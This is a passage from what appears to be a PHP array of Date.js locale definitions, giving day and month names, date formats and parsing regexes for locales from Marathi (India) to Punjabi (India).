сар/i,sun:/^ням/i,mon:/^даваа/i,tue:/^мягмар/i,wed:/^лхагва/i,thu:/^пүрэв/i,fri:/^баасан/i,sat:/^бямба/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'mr-IN' => 'Date.CultureInfo={name:"mr-IN",englishName:"Marathi (India)",nativeName:"मराठी (भारत)",dayNames:["रविवार","सोमवार","मंगळवार","बुधवार","गुरुवार","शुक्रवार","शनिवार"],abbreviatedDayNames:["रवि.","सोम.","मंगळ.","बुध.","गुरु.","शुक्र.","शनि."],shortestDayNames:["र","स","म","ब","ग","श","श"],firstLetterDayNames:["र","स","म","ब","ग","श","श"],monthNames:["जानेवारी","फेब्रुवारी","मार्च","एप्रिल","मे","जून","जुलै","ऑगस्ट","सप्टेंबर","ऑक्टोबर","नोव्हेंबर","डिसेंबर"],abbreviatedMonthNames:["जाने.","फेब्रु.","मार्च","एप्रिल","मे","जून","जुलै","ऑगस्ट","सप्टें.","ऑक्टो.","नोव्हें.","डिसें."],amDesignator:"म.पू.",pmDesignator:"म.नं.",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yyyy",longDate:"dd MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"dd MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, yyyy"},regexPatterns:{jan:/^जाने(.(वारी)?)?/i,feb:/^फेब्रु(.(वारी)?)?/i,mar:/^मार्च/i,apr:/^एप्रिल/i,may:/^मे/i,jun:/^जून/i,jul:/^जुलै/i,aug:/^ऑगस्ट/i,sep:/^सप्टें(.(बर)?)?/i,oct:/^ऑक्टो(.(बर)?)?/i,nov:/^नोव्हें(.(बर)?)?/i,dec:/^डिसें(.(बर)?)?/i,sun:/^र(वि(.(वार)?)?)?/i,mon:/^स(ोम(.(वार)?)?)?/i,tue:/^म(ंगळ(.(वार)?)?)?/i,wed:/^ब(ुध(.(वार)?)?)?/i,thu:/^ग(ुरु(.(वार)?)?)?/i,fri:/^श(ुक्र(.(वार)?)?)?/i,sat:/^श(नि(.(वार)?)?)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ms-BN' => 'Date.CultureInfo={name:"ms-BN",englishName:"Malay (Brunei Darussalam)",nativeName:"Bahasa Malaysia (Brunei Darussalam)",dayNames:["Ahad","Isnin","Selasa","Rabu","Khamis","Jumaat","Sabtu"],abbreviatedDayNames:["Ahad","Isnin","Sel","Rabu","Khamis","Jumaat","Sabtu"],shortestDayNames:["A","I","S","R","K","J","S"],firstLetterDayNames:["A","I","S","R","K","J","S"],monthNames:["Januari","Februari","Mac","April","Mei","Jun","Julai","Ogos","September","Oktober","November","Disember"],abbreviatedMonthNames:["Jan","Feb","Mac","Apr","Mei","Jun","Jul","Ogos","Sept","Okt","Nov","Dis"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dd MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uari)?/i,feb:/^feb(ruari)?/i,mar:/^mac/i,apr:/^apr(il)?/i,may:/^mei/i,jun:/^jun/i,jul:/^jul(ai)?/i,aug:/^ogos/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dis(ember)?/i,sun:/^a(1)?/i,mon:/^i(1)?/i,tue:/^s(el(asa)?)?/i,wed:/^r(1)?/i,thu:/^k(1)?/i,fri:/^j(1)?/i,sat:/^s(1)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ms-MY' => 'Date.CultureInfo={name:"ms-MY",englishName:"Malay (Malaysia)",nativeName:"Bahasa Malaysia (Malaysia)",dayNames:["Ahad","Isnin","Selasa","Rabu","Khamis","Jumaat","Sabtu"],abbreviatedDayNames:["Ahad","Isnin","Sel","Rabu","Khamis","Jumaat","Sabtu"],shortestDayNames:["A","I","S","R","K","J","S"],firstLetterDayNames:["A","I","S","R","K","J","S"],monthNames:["Januari","Februari","Mac","April","Mei","Jun","Julai","Ogos","September","Oktober","November","Disember"],abbreviatedMonthNames:["Jan","Feb","Mac","Apr","Mei","Jun","Jul","Ogos","Sept","Okt","Nov","Dis"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dd MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dd MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uari)?/i,feb:/^feb(ruari)?/i,mar:/^mac/i,apr:/^apr(il)?/i,may:/^mei/i,jun:/^jun/i,jul:/^jul(ai)?/i,aug:/^ogos/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dis(ember)?/i,sun:/^a(1)?/i,mon:/^i(1)?/i,tue:/^s(el(asa)?)?/i,wed:/^r(1)?/i,thu:/^k(1)?/i,fri:/^j(1)?/i,sat:/^s(1)?/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'mt-MT' => 'Date.CultureInfo={name:"mt-MT",englishName:"Maltese (Malta)",nativeName:"Malti (Malta)",dayNames:["Il-Ħadd","It-Tnejn","It-Tlieta","L-Erbgħa","Il-Ħamis","Il-Ġimgħa","Is-Sibt"],abbreviatedDayNames:["Ħad","Tne","Tli","Erb","Ħam","Ġim","Sib"],shortestDayNames:["Ħad","Tne","Tli","Erb","Ħam","Ġim","Sib"],firstLetterDayNames:["Ħ","T","T","E","Ħ","Ġ","S"],monthNames:["Jannar","Frar","Marzu","April","Mejju","Ġunju","Lulju","Awissu","Settembru","Ottubru","Novembru","Diċembru"],abbreviatedMonthNames:["Jan","Fra","Mar","Apr","Mej","Ġun","Lul","Awi","Set","Ott","Nov","Diċ"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd/MM/yyyy",longDate:"dddd, d\' ta\\\' \'MMMM yyyy",shortTime:"HH:mm:ss",longTime:"HH:mm:ss",fullDateTime:"dddd, d\' ta\\\' \'MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(nar)?/i,feb:/^fra(r)?/i,mar:/^mar(zu)?/i,apr:/^apr(il)?/i,may:/^mej(ju)?/i,jun:/^ġun(ju)?/i,jul:/^lul(ju)?/i,aug:/^awi(ssu)?/i,sep:/^set(tembru)?/i,oct:/^ott(ubru)?/i,nov:/^nov(embru)?/i,dec:/^diċ(embru)?/i,sun:/^il-ħadd/i,mon:/^it-tnejn/i,tue:/^it-tlieta/i,wed:/^l-erbgħa/i,thu:/^il-ħamis/i,fri:/^il-ġimgħa/i,sat:/^is-sibt/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'nb-NO' => 'Date.CultureInfo={name:"nb-NO",englishName:"Norwegian, Bokmål (Norway)",nativeName:"norsk, bokmål (Norge)",dayNames:["søndag","mandag","tirsdag","onsdag","torsdag","fredag","lørdag"],abbreviatedDayNames:["sø","ma","ti","on","to","fr","lø"],shortestDayNames:["sø","ma","ti","on","to","fr","lø"],firstLetterDayNames:["s","m","t","o","t","f","l"],monthNames:["januar","februar","mars","april","mai","juni","juli","august","september","oktober","november","desember"],abbreviatedMonthNames:["jan","feb","mar","apr","mai","jun","jul","aug","sep","okt","nov","des"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^mar(s)?/i,apr:/^apr(il)?/i,may:/^mai/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^des(ember)?/i,sun:/^søndag/i,mon:/^mandag/i,tue:/^tirsdag/i,wed:/^onsdag/i,thu:/^torsdag/i,fri:/^fredag/i,sat:/^lørdag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'nl-BE' => 'Date.CultureInfo={name:"nl-BE",englishName:"Dutch (Belgium)",nativeName:"Nederlands (België)",dayNames:["zondag","maandag","dinsdag","woensdag","donderdag","vrijdag","zaterdag"],abbreviatedDayNames:["zo","ma","di","wo","do","vr","za"],shortestDayNames:["zo","ma","di","wo","do","vr","za"],firstLetterDayNames:["z","m","d","w","d","v","z"],monthNames:["januari","februari","maart","april","mei","juni","juli","augustus","september","oktober","november","december"],abbreviatedMonthNames:["jan","feb","mrt","apr","mei","jun","jul","aug","sep","okt","nov","dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d/MM/yyyy",longDate:"dddd d MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd d MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uari)?/i,feb:/^feb(ruari)?/i,mar:/^maart/i,apr:/^apr(il)?/i,may:/^mei/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ustus)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^zondag/i,mon:/^maandag/i,tue:/^dinsdag/i,wed:/^woensdag/i,thu:/^donderdag/i,fri:/^vrijdag/i,sat:/^zaterdag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'nl-NL' => 'Date.CultureInfo={name:"nl-NL",englishName:"Dutch (Netherlands)",nativeName:"Nederlands (Nederland)",dayNames:["zondag","maandag","dinsdag","woensdag","donderdag","vrijdag","zaterdag"],abbreviatedDayNames:["zo","ma","di","wo","do","vr","za"],shortestDayNames:["zo","ma","di","wo","do","vr","za"],firstLetterDayNames:["z","m","d","w","d","v","z"],monthNames:["januari","februari","maart","april","mei","juni","juli","augustus","september","oktober","november","december"],abbreviatedMonthNames:["jan","feb","mrt","apr","mei","jun","jul","aug","sep","okt","nov","dec"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"d-M-yyyy",longDate:"dddd d MMMM yyyy",shortTime:"H:mm",longTime:"H:mm:ss",fullDateTime:"dddd d MMMM yyyy H:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uari)?/i,feb:/^feb(ruari)?/i,mar:/^maart/i,apr:/^apr(il)?/i,may:/^mei/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ustus)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^dec(ember)?/i,sun:/^zondag/i,mon:/^maandag/i,tue:/^dinsdag/i,wed:/^woensdag/i,thu:/^donderdag/i,fri:/^vrijdag/i,sat:/^zaterdag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'nn-NO' => 'Date.CultureInfo={name:"nn-NO",englishName:"Norwegian, Nynorsk (Norway)",nativeName:"norsk, nynorsk (Noreg)",dayNames:["søndag","måndag","tysdag","onsdag","torsdag","fredag","laurdag"],abbreviatedDayNames:["sø","må","ty","on","to","fr","la"],shortestDayNames:["sø","må","ty","on","to","fr","la"],firstLetterDayNames:["s","m","t","o","t","f","l"],monthNames:["januar","februar","mars","april","mai","juni","juli","august","september","oktober","november","desember"],abbreviatedMonthNames:["jan","feb","mar","apr","mai","jun","jul","aug","sep","okt","nov","des"],amDesignator:"",pmDesignator:"",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd.MM.yyyy",longDate:"d. MMMM yyyy",shortTime:"HH:mm",longTime:"HH:mm:ss",fullDateTime:"d. MMMM yyyy HH:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"d. MMMM",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^jan(uar)?/i,feb:/^feb(ruar)?/i,mar:/^mar(s)?/i,apr:/^apr(il)?/i,may:/^mai/i,jun:/^jun(i)?/i,jul:/^jul(i)?/i,aug:/^aug(ust)?/i,sep:/^sep(t(ember)?)?/i,oct:/^okt(ober)?/i,nov:/^nov(ember)?/i,dec:/^des(ember)?/i,sun:/^søndag/i,mon:/^måndag/i,tue:/^tysdag/i,wed:/^onsdag/i,thu:/^torsdag/i,fri:/^fredag/i,sat:/^laurdag/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'ns-ZA' => 'Date.CultureInfo={name:"ns-ZA",englishName:"Northern Sotho (South Africa)",nativeName:"Sesotho sa Leboa (Afrika Borwa)",dayNames:["Lamorena","Mošupologo","Labobedi","Laboraro","Labone","Labohlano","Mokibelo"],abbreviatedDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],shortestDayNames:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],firstLetterDayNames:["S","M","T","W","T","F","S"],monthNames:["Pherekgong","Hlakola","Mopitlo","Moranang","Mosegamanye","Ngoatobošego","Phuphu","Phato","Lewedi","Diphalana","Dibatsela","Manthole"],abbreviatedMonthNames:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],amDesignator:"AM",pmDesignator:"PM",firstDayOfWeek:0,twoDigitYearMax:2029,dateElementOrder:"ymd",formatPatterns:{shortDate:"yyyy/MM/dd",longDate:"dd MMMM yyyy",shortTime:"hh:mm:ss tt",longTime:"hh:mm:ss tt",fullDateTime:"dd MMMM yyyy hh:mm:ss tt",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"MMMM dd",yearMonth:"MMMM yyyy"},regexPatterns:{jan:/^pherekgong/i,feb:/^hlakola/i,mar:/^mopitlo/i,apr:/^moranang/i,may:/^mosegamanye/i,jun:/^ngoatobošego/i,jul:/^phuphu/i,aug:/^phato/i,sep:/^lewedi/i,oct:/^diphalana/i,nov:/^dibatsela/i,dec:/^manthole/i,sun:/^lamorena/i,mon:/^mošupologo/i,tue:/^labobedi/i,wed:/^laboraro/i,thu:/^labone/i,fri:/^labohlano/i,sat:/^mokibelo/i,future:/^next/i,past:/^last|past|prev(ious)?/i,add:/^(\\+|after|from)/i,subtract:/^(\\-|before|ago)/i,yesterday:/^yesterday/i,today:/^t(oday)?/i,tomorrow:/^tomorrow/i,now:/^n(ow)?/i,millisecond:/^ms|milli(second)?s?/i,second:/^sec(ond)?s?/i,minute:/^min(ute)?s?/i,hour:/^h(ou)?rs?/i,week:/^w(ee)?k/i,month:/^m(o(nth)?s?)?/i,day:/^d(ays?)?/i,year:/^y((ea)?rs?)?/i,shortMeridian:/^(a|p)/i,longMeridian:/^(a\\.?m?\\.?|p\\.?m?\\.?)/i,timezone:/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt)/i,ordinalSuffix:/^\\s*(st|nd|rd|th)/i,timeContext:/^\\s*(\\:|a|p)/i},abbreviatedTimeZoneStandard:{GMT:"-000",EST:"-0400",CST:"-0500",MST:"-0600",PST:"-0700"},abbreviatedTimeZoneDST:{GMT:"-000",EDT:"-0500",CDT:"-0600",MDT:"-0700",PDT:"-0800"}}; ', 'pa-IN' => 'Date.CultureInfo={name:"pa-IN",englishName:"Punjabi (India)",nativeName:"ਪੰਜਾਬੀ (ਭਾਰਤ)",dayNames:["ਐਤਵਾਰ","ਸੋਮਵਾਰ","ਮੰਗਲਵਾਰ","ਬੁਧਵਾਰ","ਵੀਰਵਾਰ","ਸ਼ੁੱਕਰਵਾਰ","ਸ਼ਨੀਚਰਵਾਰ"],abbreviatedDayNames:["ਐਤ.","ਸੋਮ.","ਮੰਗਲ.","ਬੁਧ.","ਵੀਰ.","ਸ਼ੁਕਰ.","ਸ਼ਨੀ."],shortestDayNames:["ਐ","ਸ","ਮ","ਬ","ਵ","ਸ਼","ਸ਼"],firstLetterDayNames:["ਐ","ਸ","ਮ","ਬ","ਵ","ਸ਼","ਸ਼"],monthNames:["ਜਨਵਰੀ","ਫ਼ਰਵਰੀ","ਮਾਰਚ","ਅਪ੍ਰੈਲ","ਮਈ","ਜੂਨ","ਜੁਲਾਈ","ਅਗਸਤ","ਸਤੰਬਰ","ਅਕਤੂਬਰ","ਨਵੰਬਰ","ਦਸੰਬਰ"],abbreviatedMonthNames:["ਜਨਵਰੀ","ਫ਼ਰਵਰੀ","ਮਾਰਚ","ਅਪ੍ਰੈਲ","ਮਈ","ਜੂਨ","ਜੁਲਾਈ","ਅਗਸਤ","ਸਤੰਬਰ","ਅਕਤੂਬਰ","ਨਵੰਬਰ","ਦਸੰਬਰ"],amDesignator:"ਸਵੇਰੇ",pmDesignator:"ਸ਼ਾਮ",firstDayOfWeek:1,twoDigitYearMax:2029,dateElementOrder:"dmy",formatPatterns:{shortDate:"dd-MM-yy",longDate:"dd MMMM yyyy dddd",shortTime:"tt hh:mm",longTime:"tt hh:mm:ss",fullDateTime:"dd MMMM yyyy dddd tt hh:mm:ss",sortableDateTime:"yyyy-MM-ddTHH:mm:ss",universalSortableDateTime:"yyyy-MM-dd HH:mm:ssZ",rfc1123:"ddd, dd MMM yyyy HH:mm:ss GMT",monthDay:"dd MMMM",yearMonth:"MMMM, 